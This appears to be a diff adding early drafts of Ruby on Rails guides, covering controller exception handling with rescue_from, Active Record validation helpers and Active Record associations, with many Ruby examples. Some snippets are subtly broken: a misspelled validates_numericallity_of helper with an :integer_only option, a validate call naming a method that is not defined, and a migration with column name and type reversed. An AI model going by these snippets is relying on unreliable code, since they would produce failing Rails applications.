The method works recursively through all levels of the params hash and takes an optional second parameter which is used as the replacement string if present. It can also take a block which receives each key in return and replaces those for which the block returns true.
+
+
13. Rescue
+
+
Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the ActiveRecord::RecordNotFound exception. Rails' default exception handling displays a 500 Server Error message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application:
+
13.1. The Default 500 and 404 Templates
+
By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the public folder, in 404.html and 500.html respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML.
+
13.2. rescue_from
+
If you want to do something a bit more elaborate when catching errors, you can use rescue_from, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses. When an exception occurs which is caught by a rescue_from directive, the exception object is passed to the handler. The handler can be a method or a Proc object passed to the :with option. You can also use a block directly instead of an explicit Proc object.
+
Here's how you can use rescue_from to intercept all ActiveRecord::RecordNotFound errors and do something with them.
+
+
+
class ApplicationController < ActionController::Base
+
+ rescue_from ActiveRecord::RecordNotFound,:with =>:record_not_found
+
+private
+
+ def record_not_found
+ render :text =>"404 Not Found",:status =>404
+ end
+
+end
+
+
Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:
+
+
+
class ApplicationController < ActionController::Base
+
+ rescue_from User::NotAuthorized,:with =>:user_not_authorized
+
+private
+
+ def user_not_authorized
+ flash[:error]="You don't have access to this section."
+ redirect_to :back
+ end
+
+end
+
+class ClientsController < ApplicationController
+
+ # Check that the user has the right authorization to access clients.
+ before_filter :check_authorization
+
+ # Note how the actions don't have to worry about all the auth stuff.
+ def edit
+ @client= Client.find(params[:id])
+ end
+
+private
+
+ # If the user is not authorized, just throw the exception.
+ def check_authorization
+ raise User::NotAuthorized unless current_user.admin?
+ end
+
+end
+
+
+
+
+
+
+
Certain exceptions are only rescuable from the ApplicationController class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's article on the subject for more information.
This guide teaches you how to work with the lifecycle of your Active Record objects. More precisely, you will learn how to validate the state of your objects before they go into the database and also how to teach them to perform custom operations at certain points of their lifecycles.
+
After reading this guide and trying out the presented concepts, we hope that you'll be able to:
+
+
+
+Correctly use all the built-in Active Record validation helpers
+
+
+
+
+Create your own custom validation methods
+
+
+
+
+Work with the error messages generated by the validation proccess
+
+
+
+
+Register callback methods that will execute custom operations during your objects lifecycle, for example before/after they are saved.
+
+
+
+
+Create special classes that encapsulate common behaviour for your callbacks
+
+
+
+
+Create Observers - classes with callback methods specific for each of your models, keeping the callback code outside your models' declarations.
+
+
+
+
+
+
1. Motivations to validate your Active Record objects
+
+
The main reason for validating your objects before they get into the database is to ensure that only valid data is recorded. It's important to be sure that an email address column only contains valid email addresses, or that the customer's name column will never be empty. Constraints like that keep your database organized and helps your application to work properly.
+
There are several ways to validate the data that goes to the database, like using database native constraints, implementing validations only at the client side or implementing them directly into your models. Each one has pros and cons:
+
+
+
+Using database constraints and/or stored procedures makes the validation mechanisms database-dependent and may turn your application into a hard to test and mantain beast. However, if your database is used by other applications, it may be a good idea to use some constraints also at the database level.
+
+
+
+
+Implementing validations only at the client side can be problematic, specially with web-based applications. Usually this kind of validation is done using javascript, which may be turned off in the user's browser, leading to invalid data getting inside your database. However, if combined with server side validation, client side validation may be useful, since the user can have a faster feedback from the application when trying to save invalid data.
+
+
+
+
+Using validation directly into your Active Record classes ensures that only valid data gets recorded, while still keeping the validation code in the right place, avoiding breaking the MVC pattern. Since the validation happens on the server side, the user cannot disable it, so it's also safer. It may be a hard and tedious work to implement some of the logic involved in your models' validations, but fear not: Active Record gives you the hability to easily create validations, using several built-in helpers while still allowing you to create your own validation methods.
+
+
+
+
+
2. How it works
+
+
2.1. When does validation happens?
+
There are two kinds of Active Record objects: those that correspond to a row inside your database and those who do not. When you create a fresh object, using the new method, that object does not belong to the database yet. Once you call save upon that object it'll be recorded to it's table. Active Record uses the new_record? instance method to discover if an object is already in the database or not. Consider the following simple and very creative Active Record class:
+
+
+
class Person < ActiveRecord::Base
+end
+
+
We can see how it works by looking at the following script/console output:
Saving new records means sending an SQL insert operation to the database, while saving existing records (by calling either save, update_attribute or update_attributes) will result in a SQL update operation. Active Record will use this facts to perform validations upon your objects, avoiding then to be recorded to the database if their inner state is invalid in some way. You can specify validations that will be beformed every time a object is saved, just when you're creating a new record or when you're updating an existing one.
+
2.2. The meaning of valid
+
For verifying if an object is valid, Active Record uses the valid? method, which basically looks inside the object to see if it has any validation errors. These errors live in a collection that can be accessed through the errors instance method. The proccess is really simple: If the errors method returns an empty collection, the object is valid and can be saved. Each time a validation fails, an error message is added to the errors collection.
+
+
3. The declarative validation helpers
+
+
Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers create validations rules that are commonly used in most of the applications that you'll write, so you don't need to recreate it everytime, avoiding code duplication, keeping everything organized and boosting your productivity. Everytime a validation fails, an error message is added to the object's errors collection, this message being associated with the field being validated.
+
Each helper accepts an arbitrary number of attributes, received as symbols, so with a single line of code you can add the same kind of validation to several attributes.
+
All these helpers accept the :on and :message options, which define when the validation should be applied and what message should be added to the errors collection when it fails, respectively. The :on option takes one the values :save (it's the default), :create or :update. There is a default error message for each one of the validation helpers. These messages are used when the :message option isn't used. Let's take a look at each one of the available helpers, listed in alphabetic order.
+
3.1. The validates_acceptance_of helper
+
Validates that a checkbox has been checked for agreement purposes. It's normally used when the user needs to agree with your application's terms of service, confirm reading some clauses or any similar concept. This validation is very specific to web applications and actually this acceptance does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute).
+
+
+
class Person < ActiveRecord::Base
+ validates_acceptance_of :terms_of_service
+end
+
+
The default error message for validates_acceptance_of is "must be accepted"
+
validates_acceptance_of can receive an :accept option, which determines the value that will be considered acceptance. It defaults to "1", but you can change it.
+
+
+
class Person < ActiveRecord::Base
+ validates_acceptance_of :terms_of_service,:accept =>'yes'
+end
+
+
3.2. The validates_associated helper
+
You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, valid? will be called upon each one of the associated objects.
This validation will work with all the association types.
+
+
+
+
+
+
Pay attention not to use validates_associated on both ends of your associations, because this will lead to several recursive calls and blow up the method calls' stack.
+
+
+
The default error message for validates_associated is "is invalid". Note that the errors for each failed validation in the associated objects will be set there and not in this model.
+
3.3. The validates_confirmation_of helper
+
You should use this helper when you have two text fields that should receive exactly the same content, like when you want to confirm an email address or password. This validation creates a virtual attribute, using the name of the field that has to be confirmed with _confirmation appended.
+
+
+
class Person < ActiveRecord::Base
+ validates_confirmation_of :email
+end
+
+
In your view template you could use something like
This check is performed only if email_confirmation is not nil, and by default only on save. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at validates_presence_of later on this guide):
+
+
+
+
+
class Person < ActiveRecord::Base
+ validates_confirmation_of :email
+ validates_presence_of :email_confirmation
+end
+
+
The default error message for validates_confirmation_of is "doesn't match confirmation"
+
3.4. The validates_each helper
+
This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to validates_each will be tested against it. In the following example, we don't want names and surnames to begin with lower case.
+
+
+
class Person < ActiveRecord::Base
+ validates_each :name,:surname do|model, attr, value|
+ model.errors.add(attr,'Must start with upper case')if value =~/^[a-z]/
+ end
+end
+
+
The block receives the model, the attribute's name and the attribute's value. If your validation fails, you can add an error message to the model, therefore making it invalid.
+
3.5. The validates_exclusion_of helper
+
This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.
+
+
+
class MovieFile < ActiveRecord::Base
+ validates_exclusion_of :format,:in=>%w(mov avi),:message =>"Extension %s is not allowed"
+end
+
+
The validates_exclusion_of helper has an option :in that receives the set of values that will not be accepted for the validated attributes. The :in option has an alias called :within that you can use for the same purpose, if you'd like to. In the previous example we used the :message option to show how we can personalize it with the current attribute's value, through the %s format mask.
+
The default error message for validates_exclusion_of is "is not included in the list".
+
3.6. The validates_format_of helper
+
This helper validates the attributes's values by testing if they match a given pattern. This pattern must be specified using a Ruby regular expression, which must be passed through the :with option.
The default error message for validates_format_of is "is invalid".
+
3.7. The validates_inclusion_of helper
+
This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.
+
+
+
class Coffee < ActiveRecord::Base
+ validates_inclusion_of :size,:in=>%w(small medium large),:message =>"%s is not a valid size"
+end
+
+
The validates_inclusion_of helper has an option :in that receives the set of values that will be accepted. The :in option has an alias called :within that you can use for the same purpose, if you'd like to. In the previous example we used the :message option to show how we can personalize it with the current attribute's value, through the %s format mask.
+
The default error message for validates_inclusion_of is "is not included in the list".
+
3.8. The validates_length_of helper
+
This helper validates the length of your attribute's value. It can receive a variety of different options, so you can specify length contraints in different ways.
+:minimum - The attribute cannot have less than the specified length.
+
+
+
+
+:maximum - The attribute cannot have more than the specified length.
+
+
+
+
+:in (or :within) - The attribute length must be included in a given interval. The value for this option must be a Ruby range.
+
+
+
+
+:is - The attribute length must be equal to a given value.
+
+
+
+
The default error messages depend on the type of length validation being performed. You can personalize these messages, using the :wrong_length, :too_long and :too_short options and the %d format mask as a placeholder for the number corresponding to the length contraint being used. You can still use the :message option to specify an error message.
+
+
+
class Person < ActiveRecord::Base
+ validates_length_of :bio,:too_long =>"you're writing too much. %d characters is the maximum allowed."
+end
+
+
This helper has an alias called validates_size_of, it's the same helper with a different name. You can use it if you'd like to.
+
3.9. The validates_numericallity_of helper
+
This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by a integral or floating point number. Using the :integer_only option set to true, you can specify that only integral numbers are allowed.
+
If you use :integer_only set to true, then it will use the /\A[+\-]?\d+\Z/ regular expression to validate the attribute's value. Otherwise, it will try to convert the value using Kernel.Float.
+
+
+
class Player < ActiveRecord::Base
+ validates_numericallity_of :points
+ validates_numericallity_of :games_played,:integer_only =>true
+end
+
+
The default error message for validates_numericallity_of is "is not a number".
+
3.10. The validates_presence_of helper
+
This helper validates that the attributes are not empty. It uses the blank? method to check if the value is either nil or an empty string (if the string has only spaces, it will still be considered empty).
+
+
+
class Person < ActiveRecord::Base
+ validates_presence_of :name,:login,:email
+end
+
+
+
+
+
+
+
If you want to be sure that an association is present, you'll need to test if the foreign key used to map the association is present, and not the associated object itself.
If you want to validate the presence of a boolean field (where the real values are true and false), you will want to use validates_inclusion_of :field_name, :in ⇒ [true, false] This is due to the way Object#blank? handles boolean values. false.blank? # ⇒ true
+
+
+
The default error message for validates_presence_of is "can't be empty".
+
3.11. The validates_uniqueness_of helper
+
This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint directly into your database, so it may happen that two different database connections create two records with the same value for a column that you wish were unique. To avoid that, you must create an unique index in your database.
+
+
+
class Account < ActiveRecord::Base
+ validates_uniqueness_of :email
+end
+
+
The validation happens by performing a SQL query into the model's table, searching for a record where the attribute that must be validated is equal to the value in the object being validated.
+
There is a :scope option that you can use to specify other attributes that must be used to define uniqueness:
+
+
+
class Holiday < ActiveRecord::Base
+ validates_uniqueness_of :name,:scope =>:year,:message =>"Should happen once per year"
+end
+
+
There is also a :case_sensitive option that you can use to define if the uniqueness contraint will be case sensitive or not. This option defaults to true.
+
+
+
class Person < ActiveRecord::Base
+ validates_uniqueness_of :name,:case_sensitive =>false
+end
+
+
The default error message for validates_uniqueness_of is "has already been taken".
+
+
4. Common validation options
+
+
There are some common options that all the validation helpers can use. Here they are, except for the :if and :unless options, which we'll cover right at the next topic.
+
4.1. The :allow_nil option
+
You may use the :allow_nil option everytime you just want to trigger a validation if the value being validated is not nil. You may be asking yourself if it makes any sense to use :allow_nil and validates_presence_of together. Well, it does. Remember, validation will be skipped only for nil attributes, but empty strings are not considered nil.
+
+
+
class Coffee < ActiveRecord::Base
+ validates_inclusion_of :size,:in=>%w(small medium large),
+ :message =>"%s is not a valid size",:allow_nil =>true
+end
+
+
4.2. The :message option
+
As stated before, the :message option lets you specify the message that will be added to the errors collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper.
+
4.3. The :on option
+
As stated before, the :on option lets you specify when the validation should happen. The default behaviour for all the built-in validation helpers is to be ran on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use :on => :create to run the validation only when a new record is created or :on => :update to run the validation only when a record is updated.
+
+
+
class Person < ActiveRecord::Base
+ validates_uniqueness_of :email,:on =>:create # => it will be possible to update email with a duplicated value
+ validates_numericallity_of :age,:on =>:update # => it will be possible to create the record with a 'non-numerical age'
+ validates_presence_of :name,:on =>:save # => that's the default
+end
+
+
+
5. Conditional validation
+
+
Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the :if and :unless options, which can take a symbol, a string or a Ruby Proc. You may use the :if option when you want to specify when the validation should happen. If you want to specify when the validation should not happen, then you may use the :unless option.
+
5.1. Using a symbol with the :if and :unless options
+
You can associated the :if and :unless options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.
+
+
+
class Order < ActiveRecord::Base
+ validates_presence_of :card_number,:if=>:paid_with_card?
+
+ def paid_with_card?
+ payment_type =="card"
+ end
+end
+
+
5.2. Using a string with the :if and :unless options
+
You can also use a string that will be evaluated using :eval and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.
+
+
+
class Person < ActiveRecord::Base
+ validates_presence_of :surname,:if=>"name.nil?"
+end
+
+
5.3. Using a Proc object with the :if and :unless options
+
Finally, it's possible to associate :if and :unless with a Ruby Proc object which will be called. Using a Proc object can give you the hability to write a condition that will be executed only when the validation happens and not when your code is loaded by the Ruby interpreter. This option is best suited when writing short validation methods, usually one-liners.
When the built-in validation helpers are not enough for your needs, you can write your own validation methods, by implementing one or more of the validate, validate_on_create or validate_on_update methods. As the names of the methods states, the right method to implement depends on when you want the validations to be ran. The meaning of valid is still the same: to make an object invalid you just need to add a message to it's errors collection.
+
+
+
class Invoice < ActiveRecord::Base
+ def validate_on_create
+ errors.add(:expiration_date,"can't be in the past")if!expiration_date.blank? and expiration_date < Date.today
+ end
+end
+
+
If your validation rules are too complicated and you want to break it in small methods, you can implement all of them and call one of validate, validate_on_create or validate_on_update methods, passing it the symbols for the methods' names.
+
+
+
class Invoice < ActiveRecord::Base
+ validate :expiration_date_cannot_be_in_the_past,:discount_cannot_be_more_than_total_value
+
+ def expiration_date_cannot_be_in_the_past
+ errors.add(:expiration_date,"can't be in the past")if!expiration_date.blank? and expiration_date < Date.today
+ end
+
+ def discount_cannot_be_greater_than_total_value
+ errors.add(:discount,"can't be greater than total value")unless discount <= total_value
+ end
+end
+
This guide covers the association features of Active Record. By referring to this guide, you will be able to:
+
+
+
+Declare associations between Active Record models
+
+
+
+
+Understand the various types of Active Record associations
+
+
+
+
+Use the methods added to your models by creating associations
+
+
+
+
+
+
1. Why Associations?
+
+
Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:
+
+
+
class Customer < ActiveRecord::Base
+end
+
+class Order < ActiveRecord::Base
+end
+
+
Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this:
With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:
+
+
+
class Customer < ActiveRecord::Base
+ has_many :orders
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+
+
With this change, creating a new order for a particular customer is easier:
Deleting a customer and all of its orders is much easier:
+
+
+
@customer.destroy
+
+
To learn more about the different types of associations, read the next section of this Guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.
+
+
2. The Types of Associations
+
+
In Rails, an association is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model belongs_to another, you instruct Rails to maintain Primary Key-Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of association:
+
+
+
+belongs_to
+
+
+
+
+has_one
+
+
+
+
+has_many
+
+
+
+
+has_many :through
+
+
+
+
+has_one :through
+
+
+
+
+has_and_belongs_to_many
+
+
+
+
In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.
+
2.1. The belongs_to Association
+
A belongs_to association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way:
+
+
+
class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+
+
+
+
+
2.2. The has_one Association
+
A has_one association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:
+
+
+
class Supplier < ActiveRecord::Base
+ has_one :account
+end
+
+
+
+
+
2.3. The has_many Association
+
A has_many association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a belongs_to association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:
+
+
+
class Customer < ActiveRecord::Base
+ has_many :orders
+end
+
+
+
+
+
+
+
The name of the other model is pluralized when declaring a has_many association.
+
+
+
+
+
+
2.4. The has_many :through Association
+
A has_many :through association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding through a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:
The has_many :through association is also useful for setting up "shortcuts" through nested :has_many associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:
A has_one :through association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding through a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:
A has_and_belongs_to_many association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:
+
+
+
class Assembly < ActiveRecord::Base
+ has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies
+end
+
+
+
+
+
2.7. Choosing Between belongs_to and has_one
+
If you want to set up a 1-1 relationship between two models, you'll need to add belongs_to to one, and has_one to the other. How do you know which is which?
+
The distinction is in where you place the foreign key (it goes on the table for the class declaring the belongs_to association), but you should give some thought to the actual meaning of the data as well. The has_one relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:
class CreateSuppliers < ActiveRecord::Migration
+ defself.up
+ create_table :suppliers do|t|
+ t.string :name
+ t.timestamps
+ end
+
+ create_table :accounts do|t|
+ t.integer :supplier_id
+ t.string :account_number
+ t.timestamps
+ end
+ end
+
+ defself.down
+ drop_table :accounts
+ drop_table :suppliers
+ end
+end
+
+
+
+
+
+
+
Using t.integer :supplier_id makes the foreign key naming obvious and implicit. In current versions of Rails, you can abstract away this implementation detail by using t.references :supplier instead.
+
+
+
2.8. Choosing Between has_many :through and has_and_belongs_to_many
+
Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use has_and_belongs_to_many, which allows you to make the association directly:
+
+
+
class Assembly < ActiveRecord::Base
+ has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies
+end
+
+
The second way to declare a many-to-many relationship is to use has_many :through. This makes the association indirectly, through a join model:
The simplest rule of thumb is that you should set up a has_many :through relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a has_and_belongs_to_many relationship (though you'll need to remember to create the joining table).
+
You should use has_many :through if you need validations, callbacks, or extra attributes on the join model.
+
2.9. Polymorphic Associations
+
A slightly more advanced twist on associations is the polymorphic association. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:
You can think of a polymorphic belongs_to declaration as setting up an interface that any other model can use. From an instance of the Employee model, you can retrieve a collection of pictures: @employee.pictures. Similarly, you can retrieve @product.pictures. If you have an instance of the Picture model, you can get to its parent via @picture.imageable. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:
+
+
+
class CreatePictures < ActiveRecord::Migration
+ defself.up
+ create_table :pictures do|t|
+ t.string :name
+ t.integer :imageable_id
+ t.string :imageable_type
+ t.timestamps
+ end
+ end
+
+ defself.down
+ drop_table :pictures
+ end
+end
+
+
This migration can be simplified by using the t.references form:
+
+
+
class CreatePictures < ActiveRecord::Migration
+ defself.up
+ create_table :pictures do|t|
+ t.string :name
+ t.references :imageable,:polymorphic =>true
+ t.timestamps
+ end
+ end
+
+ defself.down
+ drop_table :pictures
+ end
+end
+
+
+
+
+
2.10. Self Joins
+
In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as manager and subordinates. This situation can be modeled with self-joining associations:
With this setup, you can retrieve @employee.subordinates and @employee.manager.
+
+
3. Tips, Tricks, and Warnings
+
+
Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:
+
+
+
+Controlling caching
+
+
+
+
+Avoiding name collisions
+
+
+
+
+Updating the schema
+
+
+
+
+Controlling association scope
+
+
+
+
3.1. Controlling Caching
+
All of the association methods are built around caching that keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:
+
+
+
customer.orders # retrieves orders from the database
+customer.orders.size # uses the cached copy of orders
+customer.orders.empty? # uses the cached copy of orders
+
+
But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass true to the association call:
+
+
+
customer.orders # retrieves orders from the database
+customer.orders.size # uses the cached copy of orders
+customer.orders(true).empty? # discards the cached copy of orders and goes back to the database
+
+
3.2. Avoiding Name Collisions
+
You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of ActiveRecord::Base. The association method would override the base method and break things. For instance, attributes or connection are bad names for associations.
+
3.3. Updating the Schema
+
Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things. First, you need to create foreign keys as appropriate:
+
+
+
class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+
+
This declaration needs to be backed up by the proper foreign key declaration on the orders table:
+
+
+
class CreateOrders < ActiveRecord::Migration
+ defself.up
+ create_table :orders do|t|
+ t.order_date :datetime
+ t.order_number :string
+ t.customer_id :integer
+ end
+ end
+
+ defself.down
+ drop_table :orders
+ end
+end
+
+
If you create an association some time after you build the underlying model, you need to remember to create an add_column migration to provide the necessary foreign key.
+
Second, if you create a has_and_belongs_to_many association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the :join_table option, Active Record create the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.
+
+
+
+
+
+
The precedence between model names is calculated using the < operator for String. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers".
+
+
+
Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:
+
+
+
class Assembly < ActiveRecord::Base
+ has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies
+end
+
+
These need to be backed up by a migration to create the assemblies_parts table. This table should be created without a primary key:
+
+
+
class CreateAssemblyPartJoinTable < ActiveRecord::Migration
+ defself.up
+ create_table :assemblies_parts,:id =>falsedo|t|
+ t.integer :assembly_id
+ t.integer :part_id
+ end
+ end
+
+ defself.down
+ drop_table :assemblies_parts
+ end
+end
+
+
3.4. Controlling Association Scope
+
By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:
+
+
+
module MyApplication
+ module Business
+ class Supplier < ActiveRecord::Base
+ has_one :account
+ end
+
+ class Account < ActiveRecord::Base
+ belongs_to :supplier
+ end
+ end
+end
+
+
This will work fine, because both the Supplier and the Account class are defined within the same scope. But this will not work, because Supplier and Account are defined in different scopes:
+
+
+
module MyApplication
+ module Business
+ class Supplier < ActiveRecord::Base
+ has_one :account
+ end
+ end
+
+ module Billing
+ class Account < ActiveRecord::Base
+ belongs_to :supplier
+ end
+ end
+end
+
+
To associate a model with a model in a different scope, you must specify the complete class name in your association declaration:
+
+
+
module MyApplication
+ module Business
+ class Supplier < ActiveRecord::Base
+ has_one :account,:class_name =>"MyApplication::Billing::Account"
+ end
+ end
+
+ module Billing
+ class Account < ActiveRecord::Base
+ belongs_to :supplier,:class_name =>"MyApplication::Business::Supplier"
+ end
+ end
+end
+
+
+
4. Detailed Association Reference
+
+
The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.
+
4.1. The belongs_to Association
+
The belongs_to association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use has_one instead.
+
4.1.1. Methods Added by belongs_to
+
When you declare a belongs_to assocation, the declaring class automatically gains five methods related to the association:
+
+
+
+association(force_reload = false)
+
+
+
+
+association=(associate)
+
+
+
+
+association.nil?
+
+
+
+
+build_association(attributes = {})
+
+
+
+
+create_association(attributes = {})
+
+
+
+
In all of these methods, association is replaced with the symbol passed as the first argument to belongs_to. For example, given the declaration:
+
+
+
class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+
+
Each instance of the order model will have these methods:
The association method returns the associated object, if any. If no associated object is found, it returns nil.
+
+
+
@customer=@order.customer
+
+
If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass true as the force_reload argument.
+
association=(associate)
+
The association= method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.
+
+
+
@order.customer =@customer
+
+
association.nil?
+
The association.nil? method returns true if there is no associated object.
+
+
+
if@order.customer.nil?
+ @msg="No customer found for this order"
+end
+
+
build_association(attributes = {})
+
The build_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.
The create_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).
In many situations, you can use the default behavior of belongs_to without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a belongs_to association. For example, an association with several options might look like this:
+
+
+
class Order < ActiveRecord::Base
+ belongs_to :customer,:counter_cache =>true,:conditions =>"active = 1"
+end
+
+
The belongs_to association supports these options:
+
+
+
+:class_name
+
+
+
+
+:conditions
+
+
+
+
+:counter_cache
+
+
+
+
+:dependent
+
+
+
+
+:foreign_key
+
+
+
+
+:include
+
+
+
+
+:polymorphic
+
+
+
+
+:readonly
+
+
+
+
+:select
+
+
+
+
+:validate
+
+
+
+
:class_name
+
If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is Patron, you'd set things up this way:
+
+
+
class Order < ActiveRecord::Base
+ belongs_to :customer,:class_name =>"Patron"
+end
+
+
:conditions
+
The :conditions option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL WHERE clause).
+
+
+
class Order < ActiveRecord::Base
+ belongs_to :customer,:conditions =>"active = 1"
+end
+
+
:counter_cache
+
The :counter_cache option can be used to make finding the number of belonging objects more efficient. Consider these models:
+
+
+
class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+
+
With these declarations, asking for the value of @customer.orders.size requires making a call to the database to perform a COUNT(*) query. To avoid this call, you can add a counter cache to the belonging model:
+
+
+
class Order < ActiveRecord::Base
+ belongs_to :customer,:counter_cache =>true
+end
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+
+
With this declaration, Rails will keep the cache value up to date, and then return that value in response to the .size method.
+
Although the :counter_cache option is specified on the model that includes the belongs_to declaration, the actual column must be added to the associated model. In the case above, you would need to add a column named orders_count to the Customer model. You can override the default column name if you need to:
+
+
+
class Order < ActiveRecord::Base
+ belongs_to :customer,:counter_cache =>:count_of_orders
+end
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+
+
Counter cache columns are added to the containing model's list of read-only attributes through attr_readonly.
+
:dependent
+
If you set the :dependent option to :destroy, then deleting this object will call the destroy method on the associated object to delete that object. If you set the :dependent option to :delete, then deleting this object will delete the associated object without calling its destroy method.
+
+
+
+
+
+
You should not specify this option on a belongs_to association that is connected with a has_many association on the other class. Doing so can lead to orphaned records in your database.
+
+
+
:foreign_key
+
By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:
+
+
+
class Order < ActiveRecord::Base
+ belongs_to :customer,:class_name =>"Patron",:foreign_key =>"patron_id"
+end
+
+
+
+
+
+
+
In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+
+
:include
+
You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
If you frequently retrieve customers directly from line items (@line_item.order.customer), then you can make your code somewhat more efficient by including customers in the association from line items to orders:
There's no need to use :include for immediate associations - that is, if you have Order belongs_to :customer, then the customer is eager-loaded automatically when it's needed.
+
+
+
:polymorphic
+
Passing true to the :polymorphic option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail earlier in this guide.
+
:readonly
+
